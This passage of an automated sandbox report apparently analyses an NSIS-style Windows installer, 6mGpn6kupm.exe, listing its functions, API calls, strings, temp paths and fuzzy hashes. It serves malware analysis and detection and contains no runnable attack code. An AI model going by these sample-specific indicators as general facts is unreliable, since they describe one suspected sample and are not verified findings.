SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 701C2569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 701C121B: GlobalAlloc.KERNELBASE(00000040,?,701C123B,?,701C12DF,00000019,701C11BE,-000000A0), ref: 701C1225

GlobalFree.KERNEL32(?), ref: 701C2657
GlobalFree.KERNEL32(00000000), ref: 701C268C

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9d8cd1d2d72f967c516dec051d612c8a37ee8f18e16e473c3425f41ff166d04c
Instruction ID: cfc6ec2fd73dd012bbaf6bf24323685497e89bccc6d4317b4b4acd0466635ae0
Opcode Fuzzy Hash: 9d8cd1d2d72f967c516dec051d612c8a37ee8f18e16e473c3425f41ff166d04c
Instruction Fuzzy Hash: 5E31BC32208111DFC7168F55CC94E6F7BBAFBA630072145A9FA4283A64CB70E865EB61

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsvC041.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsvC041.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nsvC041.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsvC041.tmp$C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll
API String ID: 3109718747-3333376119
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 701C18D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 701C193A
GlobalFree.KERNEL32(?), ref: 701C1ADA
GlobalFree.KERNEL32(?), ref: 701C1ADF

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 596c95fceff2d4847a60650b17772f590d04ca4e1b48b09a9bc7ecac4175466e
Instruction ID: e243e00f0ff16368cc0e0a589b3f686e151dcc9836435560d97b9efd273811b6
Opcode Fuzzy Hash: 596c95fceff2d4847a60650b17772f590d04ca4e1b48b09a9bc7ecac4175466e
Instruction Fuzzy Hash: 5951D632D810D59ECB029FA4C5407AF7BBAFB77354B23865DE402A3B54D670EE818791

Function 701C2394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 701C24D6

Part of subcall function 701C122C: lstrcpynW.KERNEL32(00000000,?,701C12DF,00000019,701C11BE,-000000A0), ref: 701C123C

GlobalAlloc.KERNEL32(00000040), ref: 701C245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 701C2477

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 504309c566aa4352eaa214c8426ede9f85944d5ab3c3f0968e505ce2a10aced7
Instruction ID: c97ede82095733fb42061029f95d6e9bd3362a9bc335b3026178052a5cb431c4
Opcode Fuzzy Hash: 504309c566aa4352eaa214c8426ede9f85944d5ab3c3f0968e505ce2a10aced7
Instruction Fuzzy Hash: 2F41ABB1008345DFC3149F61D844B6F7BB8FBA9320F2149ADF546C6A91EB74E884DB62

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 701C161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,701C21EC,?,00000808), ref: 701C1635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,701C21EC,?,00000808), ref: 701C163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,701C21EC,?,00000808), ref: 701C1650
GetProcAddress.KERNEL32(701C21EC,00000000), ref: 701C1657
GlobalFree.KERNEL32(00000000), ref: 701C1660

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 817734802e68abb7497d222cb71080e4aeec3879376f9390ed84bb6cd1ec143e
Instruction ID: 5b6c28dd3c59c6d03d0d05cddfe3b76d326a944a9b9207b2893ce16562df80dc
Opcode Fuzzy Hash: 817734802e68abb7497d222cb71080e4aeec3879376f9390ed84bb6cd1ec143e
Instruction Fuzzy Hash: BEF0F87324A1387B962016A78C48DDBBE9DEF8B2F5B210221F728921A086A18C1197F1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-2145255484
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,774D2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,774D2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,774D2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,774D2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,774D2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,774D2EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,774D2EE0,00403A1A,774D3420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-2145255484
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 00405D09 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\6mGpn6kupm.exe,C:\Users\user\Desktop\6mGpn6kupm.exe,80000000,00000003), ref: 00405D0F
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\6mGpn6kupm.exe,C:\Users\user\Desktop\6mGpn6kupm.exe,80000000,00000003), ref: 00405D1F

Strings

C:\Users\user\Desktop, xrefs: 00405D09

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
